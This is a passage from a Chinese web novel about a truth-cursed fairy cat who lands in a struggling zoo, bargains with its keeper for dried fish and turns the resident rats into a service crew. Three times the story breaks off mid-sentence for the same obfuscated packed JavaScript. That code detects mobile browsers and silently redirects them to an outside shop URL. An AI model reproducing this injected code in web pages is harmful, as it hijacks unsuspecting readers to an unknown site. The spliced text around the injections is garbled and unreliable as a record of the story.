四只小爪爪缓缓地传来温热的感受,欧若拉默默地低下头。 就一下下。 她慢慢地,小心翼翼地趴在他胸口上。 “呼,暖和。” 她眯起眼睛,将毛茸茸的圆圆的脑袋也贴在他胸口上。 “暖和极了。” 她睡着了。 清晨,天边才出现一丝亮光。 黎修羽手下唯一的人类员工门卫李大爷照例早起巡查。 走到湖边时,这老爷爷将老花镜抬起,眯着眼睛看过去。 远远的,他看见湖边躺着个人。 跑到跟前,他愣住了。 小黎园长躺在地上一动不动,身上披着一张不知道从哪里弄来的脏脏的破破的摇粒绒毯子。 他的胸膛上,竟然还长出来一只动物园里从来都没有出现过的猫。 这只猫长得实在是太有型了,通体雪白,耳朵、尾巴和四只爪子竟然是淡淡的粉色,压在身下的胸膛上也露出几缕粉色。 这只猫睡得正香,蜷缩成一团,嘴巴正吧唧吧唧的。 李大爷揉揉眼睛。 猫没有消失。 又揉揉眼睛。 不仅猫没消失,在他面前的雪地上,赫然出现几个看起来早就有了的大字:我能救他狗命! “这…这…” 李大爷摸不着头脑。 这时,黎修羽眼皮动动,慢慢睁开眼睛。 太阳慢慢升起来了,映入黎修羽眼帘的,先是迷离的灰蒙蒙的雾色,再是温暖的太阳光。 视线往下,他看到一团毛茸茸的白色物体正趴在他的胸口上,白色物体上那只粉色的尾巴,正悠闲地在他下巴和嘴唇上扫来扫去。 黎修羽始终很沉默。 他缓慢坐起来,单手掐入皮毛,将这只猫拎起来,与他的面部隔开一段距离。 小猫终于醒了,嘴里吧唧吧唧的:“喵呜。” 一人一猫,四目相对。 他们相顾无言的时间至少有三秒钟。 他手上的这只猫开口了:“早呀。” 啪叽! 小猫掉到他腿上,因为黎修羽的手松开了。 “这…这…”李大爷指向雪地,还是没说出第二个不一样的字。 黎修羽瞥了一眼,手捂在头上,深深地吸了口气。 “李爷,我好像得了幻听的病。” 李大爷说:“小黎园长,你…听见什么了?” “你没有听见吗?”黎修羽皱起眉头。 “…啊?该听见什么?”李大爷挠挠头,眼神瞟到别处去。 黎修羽闭上眼睛,食指默默地指了指腿上的猫。 “…她刚才”,李大爷看见欧若拉在看他,“好像喵的叫了一声。” 黎修羽充满倦怠的眼睛骤然瞪大。 看来他真是病得不轻,以至于都出现猫说人话的幻听了。 “哎呀,其实…您的耳朵挺健康的。”欧若拉嘿嘿一笑。 4. 绝对是因为我就是一只大馋猫 黎修羽猛然转头,看着腿上的小猫,缓缓地闭上了眼睛。 “李爷,”黎修羽声音沙哑,“动物园闭园一天。” “哦,哦,”李大爷答应,“这…这地上凉呀,就算有什么想不开的,也不能这样,你爸妈会心疼的。” “嗯。”黎修羽随口应道。 李大爷走远了。 欧若拉感受到黎修羽冰冷刺骨的目光。 “你…你这样看着我干嘛呀?我都有鸡皮疙瘩了。”欧若拉心虚地不敢直视。 她没听见这个凡夫俗子说话。 “人家还救了你呢,要不你早就冻死了!我是你的救命恩人,还不谢恩?” 这个凡夫俗子怎么还是不说话? “你是不是冻傻了呀?怎么不说话呢?我的普通话是一级甲等呢,你不可能听不懂呀?” 她终于听见黎修羽开口了,这个人语气好淡,像在讨论一件习以为常的、再普通不过的小事一样:“你是猫。” “嗯呐!”欧若拉点点头,看起来可乖了。 “你会说人话。”黎修羽说。 欧若拉神气极了:“嗯!呐!” 黎修羽说:“我昨天向流星许愿了。” “嗯…呐?” “你就掉下来了。”黎修羽的语气越来越平淡。 “嗯呐…”欧若拉黄色的大眼睛一眨一眨,显然没有明白其中的逻辑。 黎修羽摸着脸上的伤:“所以,你到底是来成全我的,还是来惩罚我的?” 欧若拉张张嘴,想说“我是来成全你的”,可话到嘴边,骤然转了个弯:“当然是来惩罚你的啦!喵!呜!” 黎修羽深吸一口气,转身就走。 欧若拉瞪大了圆滚滚的眼睛。 真话的威力如此之大吗! “喂!我可是你在冰天雪地里遇见的恶毒但的确救命的恩人呐!” 欧若拉大叫一声,四肢像小马达一样启动,追着黎修羽而去,在她身后则溅起一群雪花。 黎修羽走进屋子,“砰”地一声,随手将门关上。 欧若拉一个急刹车在雪地里划出几道漂亮的直线,整个毛绒绒的脸蛋儿差一厘米就碰到门上了。 “喵呜,你开门呀,”欧若拉的脑袋抵在门上,“我有话对你说!” 屋里的人语气淡淡的,声音越来越远:“不收留流浪猫。” 欧若拉生气了,因为她才不是流浪猫,她明明…明明是有主人的! “我就是流浪猫!!!”她大吼道。 噫吁嚱! 如果她已经得到了真言咒的诅咒,那么,事实是,她现在真的是可怜的无家可归的无父无母的流浪猫了。 我怎么这么可怜! 欧若拉嘎巴一声,倒在地上。 她立即爬起来,嘴里咕哝着狡辩说:“可是…我是你的救命恩人呀!如果没有我,你都已经冻成冰雕啦,你不可以把救命恩人关在外面哦,难道你爸妈没教过你要讲文明,懂礼貌吗?” 门骤然被拉开,欧若拉一个踉跄没刹住车,整张脸倒在黎修羽的脚边。 她倒是如愿以偿,一个跟头摔进门框里面了。 欧若拉抬头,她看见这个男人在脸上贴了块白色的纱布。 黎修羽居高临下说:“我先救了你,你抓伤我,又据你而言,你救了我。功过相抵,是你还欠我一次救命之恩。” “呀?是这样吗?” 欧若拉爬起来,“呲溜”一下,闪现到屋里,端坐在地上,抬起小猫爪爪数数。 天啊! 竟然真的是这样!!! 她琥珀色的眼珠子转了一圈:“那这样好啦!作为我对你的报答,我允许你收养我这只小可怜,以此展现你这位动物园园长的慷慨悲悯之心。” 黎修羽默默地把门关上。 欧若拉见他站在门口,和她拉开一段距离,始终不往里面走。 黎修羽斜着眼看了看欧若拉:“那就不必了。” “好残忍的凡人,好利落的拒绝。”欧若拉摇摇头,两只妙脆角向后,变成飞机耳了。 这个人好像并没有理会她的感慨,他从房间这边走到那边,拿着吹风机吹头发。 他一言不发,仿佛这间房间里只有他一个会说人话的生物一样。 欧若拉在这座屋子里走来走去,黎修羽却自动把欧若拉的存在屏蔽掉了。 吹完头发后,黎修羽坐在沙发上,拿出一包五香小鱼干,向嘴边送去。 欧若拉看见他这个动作了,但她显然并不在乎。 也不知道这个凡人在吃什么? 但天上人间,不可能有比玉露更好吃的东西。 欧若拉坚定地点点头,将可爱的白色脑袋扭到一边去。 一股香味蔓延过来,欧若拉鼻头怂怂,又把头转过来了。 黎修羽即将将小鱼干送到嘴边的动作停止了。 欧若拉在黎修羽斜眼看她时,又立即把脑袋转开,举起爪子,仿佛什么都没发生一样,蛮有耐心地舔着粉色的爪缝。 黎修羽沉默两秒,继续向嘴边送去,但动作似乎在不经意间变得更缓慢了。 欧若拉又扭头看。 黎修羽再次斜眼看她。 一人一猫,四目相对。 “那个,你手里拿的,是什么?”欧若拉喵呜一声,语气僵硬。 “鱼干。”黎修羽看看自己的手,淡淡地说。 欧若拉语气更僵硬了:“你觉得好吃吗?” “还行。” “给我尝尝。”欧若拉伸伸爪子,五只指头,甚至是藏在后面的大拇指都张开了。 欧若拉感受到黎修羽异样的目光。 糟糕,这个人为什么要用这样的眼神看我?虽然我的肚子确实饿了吧,但是…我一定不是因为嘴馋才问他讨要食物。 对!一定是这样的,我才不馋呢,因为他的小鱼干一定没有我的玉露好吃。 “我没有别的意思啊,”欧若拉理直气壮,“我只有一种意思,那就是…我是一只大馋猫!哎呦!” 她又用两只爪爪一起捂住嘴了! 可恶啊,真话又一不小心吐露出来了。 “…你饿了?”黎修羽说。 欧若拉点点头:“但是我不相信你的小鱼干会比我的玉露更好吃。这样吧,你现在就给我尝尝,我来证明我自以为是的真理,也就是说,我现在坚定地认为,你这个破鱼干不可能比得上我的玉露!” 欧若拉想尽可能地装作自己根本不想尝试鱼干,但喉咙里却突然止不住地冒出呼噜呼噜的声音。 如果不是她内心跟明镜似的,她可真以为自己在讨好这个凡夫俗子呢! 欧若拉爪下的桌子上多了一条小鱼干,她抬眼看过去,黎修羽正好刚刚撤回手。 欧若拉低头嗅了嗅,一想到自己竟然沦落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526365|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到要吃完全不如玉露的小鱼干,就非常不情不愿,甚至委屈到想哭泣。 但她还是轻轻地咬了一口,因为她实在是太饿了。 她愣住了。她的瞳孔霎时放大,尾巴左右摇起来,三下五除二,两口就把小鱼干完全咽下了。 欧若拉舔舔嘴角,抬头看着黎修羽:“再给我来一条。” 她又得到一条。 “再给我来一条…” 这下好了,桌子上的三条小鱼干都进欧若拉肚子里了。 她伸爪揉揉自己的小肚子,心满意足,干脆趴在桌子上沉浸式舔爪子了。 黎修羽走到橱柜旁边,拿起一把年代久远的养生壶,将里面烧好的没有任何佐料的凉白开倒到杯子中。 他喝了一口水。 “吱。” 黎修羽向下睨了一眼。 一只肥硕的老鼠正瞪着一双圆滚滚的黑色大眼睛,一动不动地盯着他。 下一秒,第二只老鼠出来了,这只老鼠个头很小。 又下一秒,第三只老鼠也出来了,这只老鼠个头很大。 这一家三口一动不动地盯着黎修羽,六只眼睛里全然没有老鼠怕人的那种恐惧。 “噗,您家里老鼠开会呀!”欧若拉哈哈大笑,“您刚刚喝下去的那杯水不会是老鼠专用的吧!喵呜,人家一定是觉得您抢了他们的水,才这样瞪您呢!” 欧若拉刚笑了一声,三只老鼠就一溜烟跑没影了。 黎修羽斜睨着欧若拉,瞧见她正在惬意地舔爪子。 他走过去,蹲下来。 欧若拉看着放大在眼前的这张薄薄的、软软的嘴唇,一时之间忘记舔爪子了。 “小鱼干好吃吗?”他淡淡地说。 他的眼神太平静了,平静到让猫发毛。 “好吃啊,”欧若拉回神,眼神警惕,“干嘛啊?” 黎修羽脸色依旧很淡,但语气里有了一丝端详的意味:“你是猫。” 欧若拉一双妙脆角方向朝前:“喵呜?所以…?” “一只老鼠换一条小鱼干。”黎修羽斩钉截铁。 “靠啊!我可是神仙下凡,我怎么能屈尊降贵去做凡间的猫猫才做的事呢!您这简直是暴殄天物呀!”欧若拉大叫着说,一双耳朵又变成了飞机耳。 “两条。” “那怎么成?我从来都没有抓过老鼠!老鼠也是我的同事!喵呜!”欧若拉反驳说。 “三条。” “…上不封顶吗?”欧若拉问。 “你的肚子能封顶吗?” “那确实能!”欧若拉认真思考道,“一天三只老鼠,那就是…是…” “九条小鱼干。”黎修羽说 欧若拉郑重地点点头:“喵呜!” 欧若拉还是觉得她应该维护一下自己最后的尊严:“但您要知道,我答应抓老鼠,绝对是因为我就是一只大馋猫,我单纯地想要吃你的小鱼干。” “嗯,我知道。”黎修羽说。 “喵呜!”她生气地跑开了。 欧若拉恨死自己的嘴了,她想说的明明是“绝对不是因为自己馋”! 好啦,这下儿神仙的颜面全都扫地了。 她跑到门口,立即回头说:“我要去侦查地形,你可以提前备好小鱼干啦!” 黎修羽看着欧若拉跑到不见踪影,打开橱柜,数了数小鱼干存货,又继续吹他还没完全干透的头发了。 5. 啮齿动物特别行动组 欧若拉回头左看右看,确保那个人类园长没有跟上来,才终于呼了口气。 她慢悠悠地开始溜达,边走边甩尾巴。 “看看看看,说出去谁敢信啊?我堂堂小猫仙子竟然沦落到要给一凡夫俗子抓老鼠以换取食物的地步?” “三只老鼠换九条小鱼干,哼,小鱼干是什么东西啊?”她舔了舔嘴,“哎呀!那当然是全世界最好吃的美味啦!想想都要流口水呢。等我回到天上,局长大人必须得给我准备小鱼干吃,要是再给我所谓的珍馐玉露,我直接鸟都不鸟啦!” 她快步跑起来,向后山跑去。 才到后山,她便看见一群大老鼠排成长队,在猴山的储藏室里进进出出,搬运食物。 小老鼠们则在地上到处乱窜,将游客们扔进来的果皮和零食全都捡走,其中一只小老鼠还将扔进来的一朵鲜花插在了自己的耳朵上。 几十只猴儿躲在山上,“嗷嗷”乱叫,手舞足蹈地想抢夺回来,但老鼠们鼠多力量大,简直鸟都不鸟。 少数服从多数,显然,老鼠赢了。 欧若拉眯起眼睛,鼻子动了动。 整座猴山精气流动。 这里果然不一般啊。 这里的动物或许都已成精,可惜法力太弱,只配被称为最低阶的精怪。 除了… “咳!”她故意发出声音。 … 世界安静了。 “猫!!!!!”鼠队中,一只灰色大老鼠大叫一声。 … “还是仙儿!!!!!”另一只老鼠也大叫。 瞬间,所有老鼠不论大小四散而逃,只留下猴山的猴儿几十脸懵逼。 老鼠们直接撤出了猴山,分散逃到后山的另一座小山去了。 欧若拉一点都不着急,“猎物”们的消失不见也让她丝毫不慌。 她优雅地迈着猫步,走到那座小山坡的空地上,甩甩尾巴,将地上的灰扫到两旁,坐下,眯着眼扫视四周。 都在呢。 躲着我。 土坑里、草丛里、树洞里、墙角边…到处都有精气波动。 一群老鼠精。 她没动,没有任何反应,也不敢擅自用法术了。 毕竟用一次大法术就要多赔付天宫一万两黄金,她这种勤俭持家的小女孩现在可一分钱都没有呢。 接下来,就只能动用她上过九百年义务教育的最强大脑了。 欧若拉弓背,伸了个超级爽的懒腰,又坐下,然后,她开始舔爪子的侧边。 这地儿已经被她舔了五千年了,侧边的毛已然有了小梳子的形状,这全都拜她带尖刺的小舌头所赐。 一切准备就绪,她开始专注于洗脸。 一下、两下、三下,好多好多下。 她动作慢悠悠的,头像个拨浪鼓一样,摇来摇去,胡子也一抖一抖的,悠闲的样子仿佛是在天宫动物局的后院里晒下午的太阳。 草丛里出现一秒窸窸窣窣的声音,但她没理,假装没听见。 她洗完左脸洗右脸,洗完脸蛋儿,又开始洗耳朵,洗完耳朵,又开始洗胸膛。 胸膛怎么还是有点湿? 大概是昨天掉到湖里的时候,她整只猫已经被实心淹透了。 草丛里又有动静了,她依旧假装没听见。 … 草丛里探出半颗灰色的脑袋:“……” 第二颗、第三颗、第四颗… 欧若拉洗完胸膛,抬头一看,十几颗脑袋正在盯着她看。 欧若拉居高临下地看着它们:“洗澡,好看吗?” 所有脑袋一瞬间消失不见了。 “都给我出来。” 所有脑袋一瞬间又都冒了出来。 那只在草丛里现身的第一只灰色大老鼠,战战兢兢地很小声很小声地问:“您为什么不追我们呀…” “我懒得追啊。”欧若拉懒洋洋地说。 这老鼠愣住了,更多的老鼠默默探出头。 “可是,你…呃呃呃…神仙大人您不是猫吗?”这只老鼠说,“猫追老鼠是天性吧。” “或许吧,可我又不是凡夫俗猫。”欧若拉打了个大哈欠,“这世界上有很多种猫,有的猫天生就爱追老鼠,追上也不吃,只玩儿;有的猫呢,则是只要抓住就一定会全都吃掉,我的很多猫同事就是因为吃了隐藏着老鼠药的老鼠才可怜兮兮地升入了天堂呢。而我,喵呜!我就是三界最与众不同的那只小猫咪,我天生就不爱干一般小猫爱干的活儿。” 灰色大老鼠说:“那…那您大驾光临,是有何贵干呢?” “我啊,哈哈哈,是来谈生意的,顺便彻底改变你们的生活方式,拯救你们。”欧若拉轻轻一笑,胡须颤抖。 “拯救我们?”有一只老鼠说,“您这样真的很像猫哭耗子假慈悲啊!” 欧若拉不怒自威,瞪了他们一眼,那只老鼠瞬间捂住嘴巴了。 “我们世世代代都这样生活,已经习惯啦,就是经常被他们撵来撵去得打,有点儿疼…”一只小老鼠说。 欧若拉说:“是啊,每时每刻都像贼一样,被追来追去地打,走到哪里身上都贴着‘小贼’的标签,一定很不舒服吧!喵呜!” “那还能怎么办呢?这就是老鼠的天性,我们想不到其他办法。” “非也,喵呜,也不完全非也。如果办法那么好想,还需要我这种天神下凡来拯救吗?”欧若拉说,“我可以为你们出一个彻底解决问题的办法,报酬是从今往后你们再也不准偷盗,你们每天从鼠群里选出三只老鼠来,到园长面前去装死。” “什么办法呀?” “为什么要装死啊!那个园长又不能怎么着我们!” “嘘,先问问什么办法。” “不想装死吗?”欧若拉肥肥的脸蛋上露出一抹笑,“实话告诉你们,我完全是因为不想抓老鼠,以及喵呜,我在天宫的好朋友就是一只老鼠,才想出这么个绝世好办法,让你们和我可以两全其美。你们要是敢不同意,我就只能把你们全抓走了,反正我又不嫌小鱼干太多!” “啊!不要抓我们,我们都是有灵性的,我们现在不能死啊!”一只大老鼠哭诉道。 一群老鼠交头接耳。 “我们…我们就同意了吧!” “可是,我们不偷盗,我们以后怎么活呀?我家里还有九口鼠鼠等着养呢。” “万一真的有好办法呢?我实在是受够了每天被喊打喊杀的日子了,我家孩子说,她在学校里都抬不起头来。” “那该怎么办呢?” “问问她…她是神仙。” “你问,你问问!” “好,我来问!!!” 那只最先领头的灰色大老鼠战战兢兢地说:“神仙大人,我们…我们完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526366|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全尊重您的权威,也愿意配合您的工作,所以我们真的很想知道,如果放弃我们世世代代赖以生存的偷盗技能,我们应该如何在这个世界里生活呢?” 欧若拉伸出爪子,向他勾勾手指:“你叫什么名字。” “我…我叫鼠大灰,神仙大人。” “大灰啊,”欧若拉笑起来,“你知道你们老鼠在天宫的上神是谁吗?” 鼠大灰说:“阿金大人,我们鼠辈的骄傲!!!” “嗯,阿金就是我的好朋友,她从来都不盗窃任何东西,凭借自己的写作技能,为天宫创作了好多畅销书,通过劳动来换取果实。”欧若拉一脸骄傲,胡须颤抖,“所以你们也可以向她学习啊。那当然,她比你们多读过九百年的书,想复刻她的路,那简直太难了。但是啊,喵呜,你们也可以学习这种用劳动换取果实的精神。” “劳动换取果实?” “嗯!咳咳!喵呜,我宣布,”欧若拉大叫一声,“即日起,这个…这是什么动物园?” “报告,神仙大人,这里叫星羽动物园。” “哦,即日起,星羽动物园正式成立啮齿类特别行动组。现在立刻马上,举办动物园岗位竞聘大会,用劳动去向其他动物换取物资。” “啊…”老鼠们面面相觑,“俺们能干点啥啊…” “哎呀,你们这群不自信的小妖精,竟然从来都不知道自己其实也是有专长的吗?”欧若拉指了指他们,“你,我看你从猴山撤离的时候,跑得比所有老鼠都快,腿脚很麻利嘛。你,一只小老鼠就能搬一整根大玉米,你的力气大得很呀!喵呜,你完全可以去给其他动物按摩和搬东西呀!还有你你你你你,你们快左右瞧瞧,想想你们身边的小伙伴都有哪些比你们优秀的地方,大胆地夸出来嘛!” “他!他吃得比我们都多,胃口特大!” “哎呀,这也是优点吗?你别故意在神仙大人面前笑话我啦!”大老鼠说。 “这也是优点啊!”欧若拉说,“以后你可以负责帮其他动物打扫吃不完的东西,厨余垃圾收容站就交给你来负责啦,喵呜,我简直是慧眼识珠的小天才呀!” “神仙大人谢谢您啊…原来我肚子大还有这么个好处呀。” “她每天都洗脸!每次搬运食物之前,她都要洗脸打扮自己!” 头上别着小红花的老鼠说:“女为悦己者容,我为我自己容!” “多么富有哲理的一句话呀!你可以去当化妆师呀!那些爱美的动物们就交给你来攻略啦。”欧若拉说。 “哎呀!我还从来没有想过呢,嘿嘿。” 欧若拉捋捋胡子:“反正我说你们行,你们就肯定行哦。” “天呐,原来我们都是很优秀的小老鼠诶!我现在觉得自己干啥啥都成,我们也要向我们的天神阿金学习呀!但是…可…可是…” “可是神马?”欧若拉眯眼。 “可是…我们世世代代都把全世界的动物得罪光了,他们会相信我们吗?” 欧若拉舔舔三瓣儿嘴:“空口当然是不能相信,你们得做出成绩来,让大家伙儿看到才行。来吧,所有老鼠排成横纵方队,我们现在就出发去招揽第一门生意。” “收到!”鼠大灰说,“所有鼠听令,排好队形后立即出发,目的地!目的地…是哪儿啊?” 欧若拉想了想:“喵呜,就百虎园吧!那边有我老乡,好说话!” 6. 您的老鼠外卖到了 “嗷呜,”虎白糖趴在微微湿润的地上,“浑身都疼啊,真想念俺们那嘎的雪山啊。” “是不是特想回长白山上蹿下跳啊?” “对啊,到底谁愿意呆在这一亩三分地,”虎白糖哈出一口气,还是趴在地上,“我去!” 他突然惊醒,环顾四周,揉揉眼睛,依稀见到一只白粉色的猫伫立在栏杆之上,栏杆下面,则是一群一群成群结队的灰色老鼠,他们排列有序,气势汹汹,瞪着无数双眼睛,一齐看向他。 “您是!”虎白糖叫道。 欧若拉居高临下,突然唱起歌来:“俺们那嘎都是东北人~咳咳,虎白糖,我听过你的声音。” “您就是俺老乡啊!铁汁,不对不对,尊贵的猫仙大人,您带着这么群小贼是干嘛来呀?”虎白糖站起来。 老鼠们看见虎白糖这魁梧的身姿,先前走了一路才练成的气势汹汹,也在一瞬间偃旗息鼓了。 “有眼光,赐座。”欧若拉抬抬爪子,“喵呜,我是欧若拉,如你所言,是天上的神仙。” 老鼠们全都抬头看向站在栏杆上的欧若拉,发现欧若拉此时仿佛金光普照一样,气势强大到周围的光环加起来比老虎的个头都大。 下一秒,他们全都放下心来,呼出口气。 “虎白糖,每天躺在这只有十亩的弹丸之地,是不是浑身都不得劲?”欧若拉严肃地说。 虎白糖坐下,重重地点点头:“是的,唉,不仅浑身不得劲儿,心情还很郁闷。” 他又说:“您是来微服私访吗?可是,微服私访,一定要小心民间的窃贼!” 虎白糖微眯眼睛,扫射这群老鼠:“一群死老鼠精,你们给俺老乡灌什么□□了!你们是不是要偷东西啊!” “我们没有…!” “淡定,安静,”欧若拉又抬抬爪子,“虎白糖,我是来为你解决身体不适的问题的。” “哦,”虎白糖又重新坐下,“您讲。” “这群老鼠精呢,已经在我这位伟大天神的引导下,深刻意识到了自己的错误。此时此刻的他们已经准备改邪归正了,他们渴望为这座动物园做出贡献,喵呜,他们是为你才来到百虎园的呀!” “为了老子…呃呃,为了俺?”虎白糖挠挠头,“欧神仙,您来具体唠唠?” 欧若拉继续深沉说:“这里,有一只可爱的精壮的有力气的小老鼠,愿意为你提供一次按摩服务,包括但不限于头颈背腰臀腿脚,甚至是尾巴!还有…牙齿吗?” “大人,牙齿俺不敢啊,俺怕。” 欧若拉点点头:“好吧,那就没有牙齿。假如你对他的服务满意,你可以用你即将塞进嘴里的这根香肠来代替好评。喵呜,这是我计划的一部分,现在我给你个机会让你来加入我的计划,至于究竟是什么计划呢,咱们往后慢慢就知道啦,喵呜。” 即将送到嘴里的香肠在空中顿住了,虎白糖瞧了瞧香肠,爽快地说:“得嘞!谁让猫是老虎的老师呢?您还又是俺老乡,俺这波必须力挺老乡,力挺!” 欧若拉满意地点点头,胡须向后撇,小爪一挥,一只肱二头肌十分丰满的大老鼠就战战兢兢地跑出去了。 “我去,铁汁,你手法够专业呀!”虎白糖对按摩师老鼠说,“这边,还有那边,哎呦,再加点儿力道!” 大老鼠不敢说话,但是指哪儿打哪儿。 虎白糖把一整根香肠都扔到大老鼠头上:“喏,这是五星好评!” 大老鼠被砸懵了,也不是因为疼,因为他现在已经激动得感受不到疼了,只是因为他没想到这样的劳动竟然真的可以获得食物,甚至还获得了别人的赞赏。 其他老鼠全都欢呼雀跃,在栏杆外鼓掌,蹦蹦跳跳相互拥抱,可爱的女老鼠们都留下眼泪了。 无疑,大老鼠的成功给他们很大的自信。 虎白糖甩甩庞大的脑袋:“欧神仙,俺这真是好久没这么舒坦过了,多谢啊!” “以后再有需要,随时叫他们来服务。身为百兽之王,你有责任多多宣传一下我这个啮齿类特别行动组!喵呜!” “成!您就看着吧!”虎白糖同意了,“我先给猪堡堡打个电话。” “猪宝宝?”欧若拉说,“这名字像个小猪崽子,难道这小猪崽子也修炼成精了吗?” 虎白糖大吼一声,就当是打电话了。 他吼完说:“那不是,是汉堡的堡!猪堡堡都已经二百九十九岁了。” 猪堡堡从隔壁栏杆处探出个脑袋:“吼,吼吼,白糖哥,我都听见了!我没敢吱声!哎呀!” 欧若拉上下打量这头巨肥的母猪:“喵呜?那我允许你说话。” 猪堡堡说:“吼,多谢神仙大人,我这边还确实有点儿小忙需要帮呢。” 欧若拉说:“喵呜?多小的忙?” “就是…我的猪栏已经一整天没有被打扫啦!!!本来就郁闷到快进精神病院了,现在我更郁闷了!” 欧若拉立即捂住粉嫩嫩的鼻子,爪子一通乱指挥:“那个那个,家政组出动!喵呜,冲吧!” 十只老鼠排成一队,立即向猪栏进发,没一会儿,整个猪栏就焕然一新了。 猪堡堡把几片素菜叶子都送给那些老鼠:“吼,谢谢你们让我郁闷的心情稍微缓和了那么一纳米,但也只有一纳米哦。唉,昔日的小贼都比园长大人和那个天天装得像人一样的大爷靠谱,啧啧。” “我怎么发现你们这些小妖精一个个的都不开心啊?”欧若拉说,“我的妈呀,都这么沮丧,那我该怎样让动物园发展壮大、价值十万两呢?这狗任务真难完成呀,喵呜…” 其他动物也逐渐放下戒备心,让老鼠们为他们提供服务。 欧若拉把鼠大灰和其他几个领导层叫过来,舔了舔嘴唇说:“喵呜,我命令你们成立特别行动监督委员会,每一只老鼠从今往后都不准盗窃,必须要诚实守信,否则就被逐出这个动物园。哎呀!虽然撒谎特别好玩,但你们绝对绝对不准哦。喵呜,还有,你们现在就选出三名演技最好的同志跟我去兑换小鱼干,必须要会龟息大法的那种,否则我就露馅啦!要是我今天吃不到小鱼干,我可是会生气的哟,我生气的后果很不严重…讨厌。” 欧若拉眼球往上一转,粉色的爪子默默捂住三瓣儿小嘴。 “啊,这,遵命!我愿意身先士卒,当第一位装死的老鼠。”鼠大灰说。 “我和我媳妇儿也可以,就我们三个打头阵吧!我们都非常感谢神仙大人!” 欧若拉带着三只老鼠一步一步走到黎修羽屋前。 每走一步路,三只老鼠的气焰就弱一分,马上走到门口,三只老鼠已经懈怠到趴在地上匍匐前进了。 “俺们虽然曾经叫嚣不害怕园长大人,但其实…真到这一步了,还是挺紧张的。” “老婆,我也是,我也紧张。” 欧若拉说:“喵呜!你们不准紧张,你们要是紧张了,那他就知道你们是假死啦。万一他一巴掌拍死你们怎么办?我可打不过那么高的人类。” “您是神仙,您有法术,您能怕他?” “喵呜,再哪壶不开提哪壶,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526367|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …就…”欧若拉怎么着都说不出“拍死你们”这四个字,原因当然是因为她根本就不打算拍死他们,所以拍死他们本身就是假话。 “不说啦!哼!”欧若拉跺脚,示意三只老鼠排排坐。 老鼠们绝对听话地躺成一排。 欧若拉一甩脑袋,迈着优雅自信的步伐,敲响房门。 “您的老鼠外卖到咯。”欧若拉说。 黎修羽拉开门,低头看。 三只老鼠囫囵地躺在雪地里,在三只老鼠后面,是眯眼笑着,一脸讨好意味的,尾巴摇来摇去的小猫咪。 黎修羽不自觉地挑眉。 欧若拉嘿嘿笑起来:“喵呜,三只老鼠换九条小鱼干,看看,三只可怜的小老鼠就在你面前——哦!No!” 有一只老鼠冷不丁打了个激灵,欧若拉眼疾手快,一把将老鼠拍在掌下,伸出弯刀似的指甲,“噌”的一下,把老鼠的眼皮合上。老鼠顺势继续装死。 欧若拉心虚极了,不敢抬头,只往上看,就像往上翻白眼一样搞笑。 她只希望这位可能善良的人类同志并没有看见,就算看见了,也请装作没看见,好吗?给咪个面子吧! 黎修羽说:“进来吧。” 呼,太好了,他没看见!!! “好呀!喵喵喵呜!” 欧若拉蹦蹦跶跶,一溜烟跑进温暖的屋里,只留一条尾巴在外面晃了三下,三只老鼠收到指令,也一溜烟就跑没影了。 黎修羽将九条小鱼干放在盘子里,将盘子放在地上,起身走开。 欧若拉馋到哈喇子流一地,她摩拳擦掌,大快朵颐,不一会儿,就将六条小鱼干全都吃进肚子里了。 还剩下三条。 欧若拉望着那三条小鱼干出神,黎修羽在此时走过去。 欧若拉像老母鸡护崽子一样,立即挡在小鱼干身前,浑身炸毛:“臭老鹰,这都是我的!送给我的东西不准要回去!我绝对不允许你拿走我的小鱼干!就算我吃撑了你也不准拿走!因为这全都是我的!!!” 黎修羽没有再靠近她:“那你自己把盘子拿到柜子旁边的地上吧,留着饿了再吃。” “哦…”欧若拉知道自己又被这个人看见护食的样子了,“我没有手!我干不了家务!我我我…我困了,我要睡觉觉!” 她立即跳到床上,滚了一圈,仰躺着打了个大大的哈欠。 黎修羽说:“你睡床上,那我睡哪?” “你睡床呀,”欧若拉噌地一下爬起来,认真地说,“难道你不想跟我这只超级可爱又温暖的小猫咪一起睡觉吗?而且,我绝对不只是因为自己想睡床才睡床的,至少有0.0001%的原因,是因为我在拯救你呀,我是你的救命恩人啊!” “这两者之间有关系吗?”黎修羽问。 欧若拉走来走去,床上留下一串猫爪印:“你寒气入体,现在经脉都绝对虚弱,如果没有我这个天神守护你三七…” “二十一。” 